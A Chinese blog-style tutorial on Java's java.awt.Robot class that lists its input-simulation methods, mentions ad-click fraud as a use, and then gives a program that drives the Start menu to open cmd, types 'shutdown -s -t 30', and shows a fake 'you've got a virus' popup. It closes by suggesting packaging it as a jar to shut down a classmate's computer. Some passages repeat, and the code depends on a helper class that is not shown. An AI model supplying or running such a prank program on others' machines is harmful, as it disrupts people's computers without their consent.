用java robot 实现关闭他人计算机(仅限于安装了java虚拟机的用户)
很多时候,我们希望能够实现自动测试,自动演示功能,或者是其它的一些鼠标和键盘控制的应用(比如帮人点击广告赚利润等)。出于这样的目的,自从JDK1.3开始,它就为我们提供了一个用来产生本机输入事件的机器人类 — java.awt.Robot.下面我来详细介绍Robot的功能及应用示例:一.robot的主要功能BufferedImage createScreenCapture(Rectang...
很多时候,我们希望能够实现自动测试,自动演示功能,或者是其它的一些鼠标和键盘控制的应用(比如帮人点击广告赚利润等)。出于这样的目的,自从JDK1.3开始,它就为我们提供了一个用来产生本机输入事件的机器人类 — java.awt.Robot.
下面我来详细介绍Robot的功能及应用示例:
一.robot的主要功能
-
BufferedImage createScreenCapture(Rectangle screenRect)
说明:该方法提供类似于键盘上的PrintScreen键的功能,将指定矩形区域内的屏幕像素copy下来产生一个BufferedImage。 说明:该方法提供类似于键盘上的PrintScreen键的功能,将指定矩形区域内的屏幕像素copy下来产生一个BufferedImage。
应用:我们可以将这个方法用在图形程序中,或是用它来实现远端屏幕传输,可做成远端电脑监控程序等.应用:我们可以将这个方法用在图形程序中,或是用它来实现远端屏幕传输,可做成远端电脑监控程序等. -
void delay(int ms)
说明:用来将当前的程序(thread)休眠(sleep)若干毫秒(ms)。
应用:可用来控制程序的延时。这个一般是必须的,因为你在两次间隔操作中肯定有延时。 -
Color getPixelColor(int x, int y)
说明:取得给定屏幕坐标像素位置的颜色值。
应用:就是取颜色RGB值,就不多说了。 -
void keyPress(int keycode) void keyRelease(int keycode) 说明:这两个方法的作用一看便知,用来产生指定键的按键按下与抬起动作,相当于Win32 API的keyb_event函数,即模拟键盘操作咯,具体keycode值就是KeyEvent.VK_C、KeyEvent.VK_D、KeyEvent.VK_CONTROL什么的,具体应用时直接看Eclipse提示就知道了。
应用:可用于程序的自动演示、测试等,非常有用。 应用:可用于程序的自动演示、测试等,非常有用。 -
void mouseMove(int x, int y)
说明:将鼠标光标移动到指定的屏幕坐标。
应用:可用于程序的自动演示、测试等,配合其他的方法使用,是不可缺少的。 -
void mousePress(int buttons)
void mouseRelease(int buttons)
void mouseWheel(int wheelAmt)
说明:上面的三种方法,产生指定鼠标按钮的按下,抬起,及滚轮动作,就是模拟鼠标操作咯,具体buttons的值有InputEvent.BUTTON1_MASK(鼠标左键)、InputEvent.BUTTON3_MASK(鼠标右键,如果是双键鼠标,请改用InputEvent.BUTTON2_MASK)等。
void mouseRelease(int buttons)
void mouseWheel(int wheelAmt)
说明:上面的三种方法,产生指定鼠标按钮的按下,抬起,及滚轮动作,就是模拟鼠标操作咯,具体buttons的值有InputEvent.BUTTON1_MASK(鼠标左键)、InputEvent.BUTTON3_MASK(鼠标右键,如果是双键鼠标,请改用InputEvent.BUTTON2_MASK)等。
用dos命令让计算机关机
import java.awt.*;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class SimpleTest {
public static void main(String[] args) throws Exception {
final Robot rb = new Robot();
// 设置开始菜单的大概位置
int x = 40;
int y = Toolkit.getDefaultToolkit().getScreenSize().height - 10; // 鼠标移动到开始菜单,
rb.mouseMove(x, y);
rb.delay(500);
// 单击开始菜单
Common.clickLMouse(rb, x, y, 500);
rb.delay(1000);
int ks[]={ KeyEvent.VK_C, KeyEvent.VK_M,
KeyEvent.VK_D,KeyEvent.VK_ENTER};
Common.pressKeys(rb,ks,500);
rb.mouseMove(400, 400);
rb.delay(500);
ks = new int[] {KeyEvent.VK_D, KeyEvent.VK_I, KeyEvent.VK_R,KeyEvent.VK_ENTER};
Common.pressKeys(rb, ks, 500);
rb.delay(1000);
ks = new int[] {KeyEvent.VK_C, KeyEvent.VK_L, KeyEvent.VK_S,KeyEvent.VK_ENTER};
Common.pressKeys(rb, ks, 500);
rb.delay(1000);
// 运行EXIT命令exit enter
ks = new int[] { KeyEvent.VK_S, KeyEvent.VK_H, KeyEvent.VK_U,
KeyEvent.VK_T,KeyEvent.VK_D,KeyEvent.VK_O,KeyEvent.VK_W,KeyEvent.VK_N,KeyEvent.VK_SPACE,
KeyEvent.VK_MINUS,
KeyEvent.VK_S,KeyEvent.VK_SPACE,KeyEvent.VK_MINUS,KeyEvent.VK_T,KeyEvent.VK_SPACE,KeyEvent.VK_3,KeyEvent.VK_0
,KeyEvent.VK_ENTER };
Common.pressKeys(rb, ks, 500);
rb.delay(1000);
//关机
// 右键测试
x = Toolkit.getDefaultToolkit().getScreenSize().width - 50;
Common.clickRMouse(rb, x, y, 500);
new Thread() {
public void run() {
rb.delay(1000); // 回车
rb.keyPress(KeyEvent.VK_ENTER);
rb.keyRelease(KeyEvent.VK_ENTER);
}
}.start();
JOptionPane.showMessageDialog(null, "恭喜你中病毒了!");
}
}
如果想让你的同学关机,可以打包成可运行的jar包
更多推荐
所有评论(0)